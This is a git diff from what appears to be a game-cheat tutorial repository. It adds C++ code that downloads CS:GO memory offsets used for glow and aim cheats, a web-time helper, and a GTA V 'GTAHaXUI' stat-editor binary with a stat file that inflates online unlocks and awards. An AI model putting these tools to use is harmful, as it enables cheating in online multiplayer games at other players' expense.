mode 100644 index 0000000..3a04beb --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/README.md" @@ -0,0 +1,53 @@ +# 说明 + +将游戏的地址和偏移硬编码是非常不好的一种方式 + +因为游戏稍微更新一点点,你就要修改地址和偏移后重新编译程序 + +所以现在推荐两种方式 : + +- [x] 内存特征匹配 + +- [x] 网络动态获取 + +第一种不说了,教程视频都教了,现在教这一种是第二种 + +算了,自己看代码吧,很简单,注释很明了 + +这里给几个经常更新CSGO地址和偏移的网址给你们 + +[frk1](https://github.com/frk1/hazedumper/blob/master/csgo.hpp) + +[MrLotsmon](https://github.com/MrLotsmon/csoffsets/blob/8970383d05fe40d110e682c4ba449d831af4ffbd/csgo.cs) + +[JokinAce](https://github.com/JokinAce/CSGO-Offsets/blob/df466d49a242ce645807c3dd036595d817816af0/csgo.cs) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/main.cpp" new file mode 100644 index 0000000..9c9174f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/main.cpp" @@ -0,0 +1,105 @@ +/* +CSGOַƫƻȡ +*/ + +#include + +#include +#pragma comment(lib,"Wininet.lib") + +#include +#include +#include + +class address +{ +private: + std::string m_data; + +public: + address() {} + ~address() { } + + /* ʼ,ҳ */ + bool Initialize(const char* url = "https://github.com/frk1/hazedumper/blob/master/csgo.hpp") + { + /* ҳ·ǷЧ */ + int size = strlen(url); + if (size <= 0) return false; + + /* һƹľ */ + HINTERNET manager = InternetOpenA("CSGO Web", INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0); + if (manager == nullptr) return false; + + /* Ӹҳ */ + HINTERNET target = InternetOpenUrlA(manager, url, nullptr, 0, INTERNET_FLAG_RELOAD, 0); + if (target == nullptr) + { + InternetCloseHandle(manager); + return false; + } + + /* ҳȫݶȡ */ + m_data = ""; + DWORD bytes = 0; + do + { + char buffer[1024]{ 0 }; + InternetReadFile(target, buffer, 1024, &bytes); + m_data += buffer; + } while (bytes); + + /* رվ */ + InternetCloseHandle(manager); + InternetCloseHandle(target); + return true; + } + + /* ȡֶָεĵַ */ + int get_address(const char* name) + { + /* ֶЧԼ */ + int size = strlen(name); + if (size <= 0) return 0; + + /* ҳЧԼ */ + if (m_data.empty()) return 0; + + /* ֶβ */ + size_t pos = m_data.find(name); + if (pos == std::string::npos) return 0; + + size_t beg = m_data.find("0x", pos); + size_t end = m_data.find('<', beg); + if (beg == ::std::string::npos || end == std::string::npos) return 0; + std::string buf = m_data.substr(beg, end - beg); + + /* תΪʮ */ + int addr = 0; + std::stringstream translater; + translater << buf; + translater >> std::hex >> addr; + return addr; + } +}; + +int main(int argc, char* argv[]) +{ + address* g = new address(); + if (g->Initialize()) + { + std::cout << std::hex; + + std::cout << " m_dwBoneMatrix : 0x" << g->get_address("m_dwBoneMatrix") << std::endl; + std::cout << "ǰ m_hActiveWeapon : 0x" << g->get_address("m_hActiveWeapon") << std::endl; + std::cout << "Թ m_iGlowIndex : 0x" << g->get_address("m_iGlowIndex") << std::endl; + + std::cout << std::endl; + + std::cout << "ϷĿ¼ dwClientState_MapDirectory : 0x" << g->get_address("dwClientState_MapDirectory") << std::endl; + std::cout << "ϷǶ dwClientState_ViewAngles : 0x" << g->get_address("dwClientState_ViewAngles") << std::endl; + std::cout << "б dwEntityList : 0x" << g->get_address("dwEntityList") << std::endl; + } + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/main.cpp" new file mode 100644 index 0000000..a7e79d9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/main.cpp" @@ -0,0 +1,12 @@ +#include "web_time.hpp" + +int main(int argc, char* argv[]) +{ + web::n_time result{ 0 }; + if (web::get_current_web_time(result)) + std::printf("ǰʱ : %d-%d-%d %d:%d:%d\n", + result.year, result.month, result.day, + result.hour, result.minute, result.second); + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/web_time.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/web_time.hpp" new file mode 100644 index 0000000..6a7afaf --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\346\227\266\351\227\264/web_time.hpp" @@ -0,0 +1,73 @@ +#pragma once +#pragma warning(disable : 4267) + +#include +#include +#pragma comment(lib,"Wininet.lib") + +#include + +namespace web +{ + //ҳ + //http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp + //http://quan.suning.com/getSysTime.do + //http://www.beijing-time.org/time15.asp + + //ʱṹ + struct n_time + { + int year; + int month; + int day; + int hour; + int minute; + int second; + }; + + //ȡǰҳʱ + bool get_current_web_time(n_time& t, const std::string url = "http://quan.suning.com/getSysTime.do") + { + if (url.empty()) return false; + + std::string buffer; + + auto manager = InternetOpenA("time web url", INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0); + if (manager) + { + auto target = InternetOpenUrlA(manager, url.c_str(), nullptr, 0, INTERNET_FLAG_RELOAD, 0); + if (target) + { + char temp[1024]{ 0 }; + unsigned long res_byte = 0; + + InternetReadFile(target, temp, 1024, &res_byte); + buffer = temp; + + InternetCloseHandle(target); + } + + InternetCloseHandle(manager); + } + + //{"sysTime2":"2020-12-16 12:16:18","sysTime1":"20201216121618"} + //---------------------------------------------------------------------------- + + auto pos = buffer.find(":"); + if (pos == std::string::npos) return false; + + auto stop = buffer.find(",", pos); + if (stop == std::string::npos) return false; + + std::string time_str = buffer.substr(pos + 2, (stop - 1 - (pos + 2))); + sscanf_s(time_str.c_str(), "%d-%d-%d %d:%d:%d", + &t.year, + &t.month, + &t.day, + &t.hour, + &t.minute, + &t.second); + + return true; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/GTAHaXUI.exe" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/GTAHaXUI.exe" new file mode 100644 index 0000000..c16e3a7 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/GTAHaXUI.exe" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stat.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stat.txt" new file mode 100644 index 0000000..9d8c407 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stat.txt" @@ -0,0 +1,62 @@ +REPLACE_ME_WITH_WHATEVER_YOU_WANT,_THIS_LINE_IS_MEANT_FOR_COMMENTS_-_SET_STAT_TYPE_STAYS_UNTIL_IT_IS_CHANGED_-_64_SUPPORT_IS_EXPERIMENTAL_AND_MAY_NOT_WORK_-_ONE_LINE_IS_THE_STAT_NAME,_SECOND_IS_THE_VALUE_FOR_IT_-_BOOL_VALUES_ARE_NOT_SUPPORTED_(YET?) +INT32 +$MP0_NO_BOUGHT_YUM_SNACKS +1337 +$MP0_NO_BOUGHT_HEALTH_SNACKS +9001 +$MP0_NO_BOUGHT_EPIC_SNACKS +0x420 +INT64 +$MPPLY_TOTAL_TIME_MISSION_CREATO +300000000000000000 +INT32 +$MP0_CHAR_FM_CARMOD_1_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_2_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_3_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_4_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_5_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_6_UNLCK +-1 +$MP0_CHAR_FM_CARMOD_7_UNLCK +-1 +$MP0_NUMBER_TURBO_STARTS_IN_RACE +50 +$MP0_USJS_COMPLETED +25 +$MP0_AWD_FM_RACES_FASTEST_LAP +50 +$MP0_NUMBER_SLIPSTREAMS_IN_RACE +100 +$MP0_AWD_WIN_CAPTURES +50 +$MP0_AWD_DROPOFF_CAP_PACKAGES +100 +$MP0_AWD_KILL_CARRIER_CAPTURE +100 +$MP0_AWD_FINISH_HEISTS +50 +$MP0_AWD_FINISH_HEIST_SETUP_JOB +50 +$MP0_AWD_NIGHTVISION_KILLS +100 +$MP0_AWD_WIN_LAST_TEAM_STANDINGS +50 +$MP0_AWD_ONLY_PLAYER_ALIVE_LTS +50 +$MP0_AWD_FMRALLYWONDRIVE +1 +$MP0_AWD_FMRALLYWONNAV +1 +$MP0_AWD_FMWINAIRRACE +1 +$MP0_AWD_FMWINSEARACE +1 +$MP0_RACES_WON +50 +$MP0_MPPLY_TOTAL_RACES_WON +50 \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stats.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stats.txt" new file mode 100644 index 0000000..3bdd94d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/GTAHaXUI/stats.txt" @@ -0,0 +1,12244 @@ +(packed)MP_PSTAT_BOOL0 // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)MP_PSTAT_BOOL1 // Stat with Packed booleans index 1. Takes up to 64 booleans. +(packed)MP_PSTAT_BOOL2 // Stat with Packed booleans index 2. Takes up to 64 booleans. +(packed)PSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)PSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 1. Takes up to 64 booleans. +(packed)PSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 2. Takes up to 64 booleans. +(packed)MP_PSTAT_INT0 // Stat with Packed integers index 0. Takes up to 8 integers. +(packed)MP_PSTAT_INT1 // Stat with Packed integers index 1. Takes up to 8 integers +(packed)MP_PSTAT_INT2 // Stat with Packed integers index 2. Takes up to 8 integers +(packed)PSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 0. Takes up to 8 integers. +(packed)PSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 1. Takes up to 8 integers +(packed)PSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 2. Takes up to 8 integers +(packed)PSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 3. Takes up to 8 integers +(packed)PSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(int)SUCCESSFUL_COUNTERS // Add MP0_ or MP1_ // Number of melee counter counter +(int)FIRES_EXTINGUISHED // Add MP0_ or MP1_ // Number of fires extinguished +(int)FIRES_STARTED // Add MP0_ or MP1_ // Number of fires started +(int)TIMES_CHEATED // Add MP0_ or MP1_ // Number of times cheated +(label)MISSION_NAME // Add MP0_ or MP1_ // Current Mission name +(u64)TOTAL_PLAYING_TIME // Add MP0_ or MP1_ // Total Playing time in milliseconds. +(u32)LONGEST_PLAYING_TIME // Add MP0_ or MP1_ // Longest Playing time since last death. +(u32)LONGEST_CAM_TIME_DRIVING // Add MP0_ or MP1_ // Longest time spent driving in cinematic camera in milliseconds. +(int)MPPLY_LEAST_FAVORITE_STATION // Least favorite radio station +(int)MPPLY_MOST_FAVORITE_STATION // Most favorite radio station +(int)DIED_IN_DROWNING // Add MP0_ or MP1_ // Number of times player died by drowning +(int)DIED_IN_DROWNINGINVEHICLE // Add MP0_ or MP1_ // Number of times player died by drowning in vehicle +(int)DIED_IN_EXPLOSION // Add MP0_ or MP1_ // Number of times player died by explosion +(int)DIED_IN_FALL // Add MP0_ or MP1_ // Number of times player died by fall +(int)DIED_IN_FIRE // Add MP0_ or MP1_ // Number of times player died by fire +(int)DIED_IN_ROAD // Add MP0_ or MP1_ // Number of times player died in a road accident +(int)BUSTED // Add MP0_ or MP1_ // Number of times the player was arrested +(int)MANUAL_SAVED // Add MP0_ or MP1_ // Number of times saved the game manually +(int)AUTO_SAVED // Add MP0_ or MP1_ // Number of times saved the game automatically +(int)PLAYER_KILLS_ON_SPREE // Add MP0_ or MP1_ // Number Players killed done on spree. +(int)COPS_KILLS_ON_SPREE // Add MP0_ or MP1_ // Number Cops killed done on spree. +(int)PEDS_KILLS_ON_SPREE // Add MP0_ or MP1_ // Number Peds killed done on spree. +(u32)LONGEST_KILLING_SPREE // Add MP0_ or MP1_ // Longest killing count in spree. +(u32)LONGEST_KILLING_SPREE_TIME // Add MP0_ or MP1_ // Longest killing time count in spree. +(int)KILLS_PLAYERS // Add MP0_ or MP1_ // Number of players killed +(int)KILLS_STEALTH // Add MP0_ or MP1_ // Number of stealth kills +(int)KILLS_INNOCENTS // Add MP0_ or MP1_ // Number of ped's killed +(int)KILLS_COP // Add MP0_ or MP1_ // Number of Cops killed +(int)KILLS_SWAT // Add MP0_ or MP1_ // Number of Swat killed +(int)KILLS_ENEMY_GANG_MEMBERS // Add MP0_ or MP1_ // Enemy Gang members killed +(int)KILLS_FRIENDLY_GANG_MEMBERS // Add MP0_ or MP1_ // Friendly Gang members killed +(int)KILLS_BY_OTHERS // Add MP0_ or MP1_ // Peds killed by other players +(int)LARGE_ACCIDENTS // Add MP0_ or MP1_ // Number of large accidents. +(float)LONGEST_DRIVE_NOCRASH // Add MP0_ or MP1_ // Longest Drive Without a crash +(float)DIST_CAR // Add MP0_ or MP1_ // Total Distance in a car +(float)DIST_DRIVING_CAR // Add MP0_ or MP1_ // Total Distance driving a car +(u64)TIME_DRIVING_CAR // Add MP0_ or MP1_ // Total time driving a car +(float)DIST_PLANE // Add MP0_ or MP1_ // Total Distance driving a plane +(float)DIST_DRIVING_PLANE // Add MP0_ or MP1_ // Total time driving a plane +(u64)TIME_DRIVING_PLANE // Add MP0_ or MP1_ // Total time driving a plane +(float)DIST_QUADBIKE // Add MP0_ or MP1_ // Total Distance driving a quadbike +(float)DIST_DRIVING_QUADBIKE // Add MP0_ or MP1_ // Total time driving a quadbike +(u64)TIME_DRIVING_QUADBIKE // Add MP0_ or MP1_ // Total time driving a quadbike +(float)DIST_HELI // Add MP0_ or MP1_ // Total Distance driving a heli +(float)DIST_DRIVING_HELI // Add MP0_ or MP1_ // Total time driving a heli +(u64)TIME_DRIVING_HELI // Add MP0_ or MP1_ // Total time driving a heli +(float)DIST_BIKE // Add MP0_ or MP1_ // Total Distance driving a bike +(float)DIST_DRIVING_BIKE // Add MP0_ or MP1_ // Total time driving a bike +(u64)TIME_DRIVING_BIKE // Add MP0_ or MP1_ // Total time driving a bike +(float)DIST_BICYCLE // Add MP0_ or MP1_ // Total Distance driving a bicycle +(float)DIST_DRIVING_BICYCLE // Add MP0_ or MP1_ // Total time driving a bicycle +(u64)TIME_DRIVING_BICYCLE // Add MP0_ or MP1_ // Total time driving a bicycle +(float)DIST_BOAT // Add MP0_ or MP1_ // Total Distance driving a boat +(float)DIST_DRIVING_BOAT // Add MP0_ or MP1_ // Total time driving a boat +(u64)TIME_DRIVING_BOAT // Add MP0_ or MP1_ // Total time driving a boat +(float)DIST_SUBMARINE // Add MP0_ or MP1_ // Total Distance driving a submarine +(float)DIST_DRIVING_SUBMARINE // Add MP0_ or MP1_ // Total time driving a submarine +(u64)TIME_DRIVING_SUBMARINE // Add MP0_ or MP1_ // Total time driving a submarine +(float)DIST_SWIMMING // Add MP0_ or MP1_ // Total Distance driving a swimming +(u64)TIME_SWIMMING // Add MP0_ or MP1_ // Total time driving a swimming +(float)DIST_WALKING // Add MP0_ or MP1_ // Total Distance driving a walking +(u64)TIME_WALKING // Add MP0_ or MP1_ // Total time spent walking +(float)DIST_WALK_ST // Add MP0_ or MP1_ // Total Distance walking in Stealth mode +(float)DIST_RUNNING // Add MP0_ or MP1_ // Total Distance running +(u64)TIME_UNDERWATER // Add MP0_ or MP1_ // Total time underwater. +(u64)TIME_IN_WATER // Add MP0_ or MP1_ // Total time in water. +(u64)TIME_IN_COVER // Add MP0_ or MP1_ // Total time spent in cover +(int)ENTERED_COVER // Add MP0_ or MP1_ // Number of times the player has entered cover +(int)ENTERED_COVER_AND_SHOT // Add MP0_ or MP1_ // Number of times the player has entered cover and fired a shot or shots +(float)AVERAGE_SPEED // Add MP0_ or MP1_ // Average speed when driving a car or a bike +(float)FLIGHT_TIME // Add MP0_ or MP1_ // Average speed when driving a car or a bike +(float)LONGEST_CHASE_TIME // Add MP0_ or MP1_ // Duration of the longest cop chase. +(u32)TOTAL_CHASE_TIME // Add MP0_ or MP1_ // Total time spent losing cops. +(float)LAST_CHASE_TIME // Add MP0_ or MP1_ // Duration of the last cop chase. +(float)TOTAL_TIME_MAX_STARS // Add MP0_ or MP1_ // Total time under maximun wanted stars +(int)STARS_ATTAINED // Add MP0_ or MP1_ // Total Number of wanted stars the player has been awarded +(int)STARS_EVADED // Add MP0_ or MP1_ // Total Number of wanted stars the player has evaded +(int)NO_TIMES_WANTED_LEVEL // Add MP0_ or MP1_ // The number of times character obtains a wanted level +(int)PLANE_LANDINGS // Add MP0_ or MP1_ // Number of good plane landings + + +(int)NUMBER_OF_ORANGE_BOUGHT // Add MP0_ or MP1_ // Money picked up in the street. +(int)NUMBER_OF_BOURGE_BOUGHT // Add MP0_ or MP1_ // Money picked up in the street. + + +(bool)DEFAULT_STATS_SET // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SPECIAL_ABILITY // Add MP0_ or MP1_ // Special ability +(int)STAMINA // Add MP0_ or MP1_ // Stamina +(int)STRENGTH // Add MP0_ or MP1_ // Strength +(int)LUNG_CAPACITY // Add MP0_ or MP1_ // Lung capacity modifier +(int)WHEELIE_ABILITY // Add MP0_ or MP1_ // Bike skill modifier +(int)FLYING_ABILITY // Add MP0_ or MP1_ // Flying modifier +(int)SHOOTING_ABILITY // Add MP0_ or MP1_ // Shooting modifier +(int)STEALTH_ABILITY // Add MP0_ or MP1_ // Stealth modifier + +(int)SCRIPT_INCREASE_STAM // Add MP0_ or MP1_ // Stat increase - Stamina +(int)SCRIPT_INCREASE_STRN // Add MP0_ or MP1_ // Stat increase - Strength +(int)SCRIPT_INCREASE_LUNG // Add MP0_ or MP1_ // Stat increase - Lung capacity +(int)SCRIPT_INCREASE_DRIV // Add MP0_ or MP1_ // Stat increase - Driving +(int)SCRIPT_INCREASE_FLY // Add MP0_ or MP1_ // Stat increase - Flying +(int)SCRIPT_INCREASE_SHO // Add MP0_ or MP1_ // Stat increase - Shooting +(int)SCRIPT_INCREASE_STL // Add MP0_ or MP1_ // Stat increase - Stealth +(int)SCRIPT_INCREASE_MECH // Add MP0_ or MP1_ // Stat increase - Mechanic + + +(s64)PVC_WALLET_BALANCE // Add MP0_ or MP1_ // Per-Character Cash that has been PAID for with real money. +(s64)EVC_WALLET_BALANCE // Add MP0_ or MP1_ // Per-Character Cash that has been EARN in game. +(s64)PVC_BANK_BALANCE // Banked Cash that the player has PAID for with real money. +(s64)EVC_BANK_BALANCE // Banked Cash that the player has EARN, either in game or via other mechanism. +(s64)PVC_BALANCE // Banked Cash that the player has PAID for with real money. +(s64)EVC_BALANCE // Banked Cash that the player has EARN, either in game or via other mechanism. + +(s64)EVC_WALLET_BALANCE_CLEARED // Add MP0_ or MP1_ // Total last Cleared amount for each character stat EVC_WALLET_BALANCE. +(s64)EVC_BANK_BALANCE_CLEARED // Total last Cleared amount for stat EVC_BANK_BALANCE. +(bool)MPPLY_IS_HIGH_EARNER // Flag Player as a HIGH EARNER. +(bool)MPPLY_IS_CHEATER // Flag saved with current cheater. +(u64)MPPLY_IS_CHEATER_TIME // Posix Time last time the flag changed value. + + +(float)MPPLY_STORE_MONEY_SPENT // MPPLAYER - Real money player has spent in store +(s64)MPPLY_STORE_MONEY_BOUGHT // MPPLAYER - Game Money player has bought in the store +(s64)MPPLY_STORE_TOTAL_MONEY_BOUGHT // MPPLAYER - Total game money player has bought in store +(u64)MPPLY_STORE_PURCHASE_POSIX_TIME // MPPLAYER - Last purchase posix time. +(s64)MPPLY_STORE_CHECKOUTS_CANCELLED // MPPLAYER - The number of times a user has cancelled a purchase after going to plaform checkout + + +(short)MONEY_SPENT_WEAPON_ARMOR // Add MP0_ or MP1_ // Money Spent in weapons and armor +(short)MONEY_SPENT_VEH_MAINTENANCE // Add MP0_ or MP1_ // Money Spent in Vehicles and Maintenance +(short)MONEY_SPENT_STYLE_ENT // Add MP0_ or MP1_ // Money Spent in Style and Entertainment +(short)MONEY_SPENT_PROPERTY_UTIL // Add MP0_ or MP1_ // Money Spent in Property and Utilities +(short)MONEY_SPENT_JOB_ACTIVITY // Add MP0_ or MP1_ // Money Spent in Job and Activity Entry Fees +(short)MONEY_SPENT_BETTING // Add MP0_ or MP1_ // Money Spent in Betting +(short)MONEY_SPENT_CONTACT_SERVICE // Add MP0_ or MP1_ // Money Spent in Contact Services +(short)MONEY_SPENT_DROPPED_STOLEN // Add MP0_ or MP1_ // Money Spent in Dropped or Stolen +(short)MONEY_SPENT_SHARED // Add MP0_ or MP1_ // Money Spent in Shared cash +(short)MONEY_SPENT_JOBSHARED // Add MP0_ or MP1_ // Money Spent in Job Shared cash +(short)MONEY_SPENT_HEALTHCARE // Add MP0_ or MP1_ // Money Spent in Healthcare +(short)MONEY_SPENT_EXEC_PA // Add MP0_ or MP1_ // Money Spent on PA services +(short)MONEY_SPENT_BUY_CONTRABAND // Add MP0_ or MP1_ // Money Spent on contraband + +(short)MONEY_EARN_JOBS // Add MP0_ or MP1_ // Money Earn in Jobs +(short)MONEY_EARN_SELLING_VEH // Add MP0_ or MP1_ // Money Earn in Selling Vehicles +(short)MONEY_EARN_BETTING // Add MP0_ or MP1_ // Money Earn in Betting +(short)MONEY_EARN_GOOD_SPORT // Add MP0_ or MP1_ // Money Earn in Good Sport Reward +(short)MONEY_EARN_PICKED_UP // Add MP0_ or MP1_ // Money Earn in Picked Up +(short)MONEY_EARN_SHARED // Add MP0_ or MP1_ // Money Earn in Shared Cash +(short)MONEY_EARN_JOBSHARED // Add MP0_ or MP1_ // Money Earn in Shared Cash +(short)MONEY_EARN_ROCKSTAR_AWARD // Add MP0_ or MP1_ // Money Earn in Rockstar Award +(short)MONEY_EARN_SELL_CONTRABAND // Add MP0_ or MP1_ // Money Earnt from selling contraband +(short)MONEY_EARN_VEHICLE_EXPORT // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_SPENT_VEHICLE_EXPORT // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_EARN_PROPERTY_TRADE // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_EARN_FREIGHT_SMUGGLER // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_EARN_SELL_NC_GOODS // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_EARN_SELL_NC_BONUS // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export +(short)MONEY_EARN_CLUB_DANCING // Add MP0_ or MP1_ // Money Earn in Selling Vehicle export + + +(int)NUMBER_NEAR_MISS // Add MP0_ or MP1_ // Number of vehicles near misses. +(int)NEAR_MISS_PRECISE // Add MP0_ or MP1_ // Number of vehicles near misses. Precise. +(int)NUMBER_NEAR_MISS_NOCRASH // Add MP0_ or MP1_ // Maximum number of vehicles near misses without crashing. +(int)COPCARS_ENTERED_AS_CROOK // Add MP0_ or MP1_ // Number of times entered a cop car as a crook. +(int)BAILED_FROM_VEHICLE // Add MP0_ or MP1_ // Number of times jumped out of a moving vehicle. +(int)THROWNTHROUGH_WINDSCREEN // Add MP0_ or MP1_ // Number of times thrown through a windscreen +(float)TOTAL_DAMAGE_CARS // Add MP0_ or MP1_ // Total damage done in Cars +(float)TOTAL_DAMAGE_BIKES // Add MP0_ or MP1_ // Total damage done in Bikes +(float)TOTAL_DAMAGE_QUADBIKES // Add MP0_ or MP1_ // Total damage done in Quadbikes +(int)NUMBER_CRASHES_CARS // Add MP0_ or MP1_ // Number of crashes done in Cars +(int)NUMBER_CRASHES_BIKES // Add MP0_ or MP1_ // Number of crashes done in Bikes +(int)NUMBER_CRASHES_QUADBIKES // Add MP0_ or MP1_ // Number of crashes done in Quadbikes +(int)NUMBER_STOLEN_COP_VEHICLE // Add MP0_ or MP1_ // Number of cars stolen +(int)NUMBER_STOLEN_CARS // Add MP0_ or MP1_ // Number of cars stolen +(int)NUMBER_STOLEN_BIKES // Add MP0_ or MP1_ // Number of bikes stolen +(int)NUMBER_STOLEN_BOATS // Add MP0_ or MP1_ // Number of boats stolen +(int)NUMBER_STOLEN_HELIS // Add MP0_ or MP1_ // Number of helis stolen +(int)NUMBER_STOLEN_PLANES // Add MP0_ or MP1_ // Number of planes stolen +(int)NUMBER_STOLEN_QUADBIKES // Add MP0_ or MP1_ // Number of quad bikes stolen +(int)NUMBER_STOLEN_BICYCLES // Add MP0_ or MP1_ // Number of bicycles stolen +(int)TIRES_POPPED_BY_GUNSHOT // Add MP0_ or MP1_ // Number of tires popped by gunshot +(int)VEHICLES_DESTROYED_ON_SPREE // Add MP0_ or MP1_ // Number of vehicles destroyed on spree +(int)COP_VEHI_DESTROYED_ON_SPREE // Add MP0_ or MP1_ // Number of COP vehicles destroyed on spree +(int)TANKS_DESTROYED_ON_SPREE // Add MP0_ or MP1_ // Number of TANK vehicles destroyed on spree +(int)CARS_EXPLODED // Add MP0_ or MP1_ // Number of cars exploded +(int)CARS_COPS_EXPLODED // Add MP0_ or MP1_ // Number of cop cars exploded +(int)BIKES_EXPLODED // Add MP0_ or MP1_ // Number of bikes exploded +(int)BOATS_EXPLODED // Add MP0_ or MP1_ // Number of boats exploded +(int)HELIS_EXPLODED // Add MP0_ or MP1_ // Number of helis exploded +(int)PLANES_EXPLODED // Add MP0_ or MP1_ // Number of planes exploded +(int)QUADBIKE_EXPLODED // Add MP0_ or MP1_ // Number of quadbike exploded +(int)BICYCLE_EXPLODED // Add MP0_ or MP1_ // Number of bicycle exploded +(int)SUBMARINE_EXPLODED // Add MP0_ or MP1_ // Number of submarine exploded +(int)TRAIN_EXPLODED // Add MP0_ or MP1_ // Number of train exploded +(float)FASTEST_SPEED // Add MP0_ or MP1_ // Fastest speed recorded in a vehicle in meters/h +(u32)TOP_SPEED_CAR // Add MP0_ or MP1_ // Model Index of the fastest speed car +(float)LONGEST_2WHEEL_DIST // Add MP0_ or MP1_ // Longest 2 wheel distance in a vehicle +(u32)LONGEST_2WHEEL_TIME // Add MP0_ or MP1_ // Longest 2 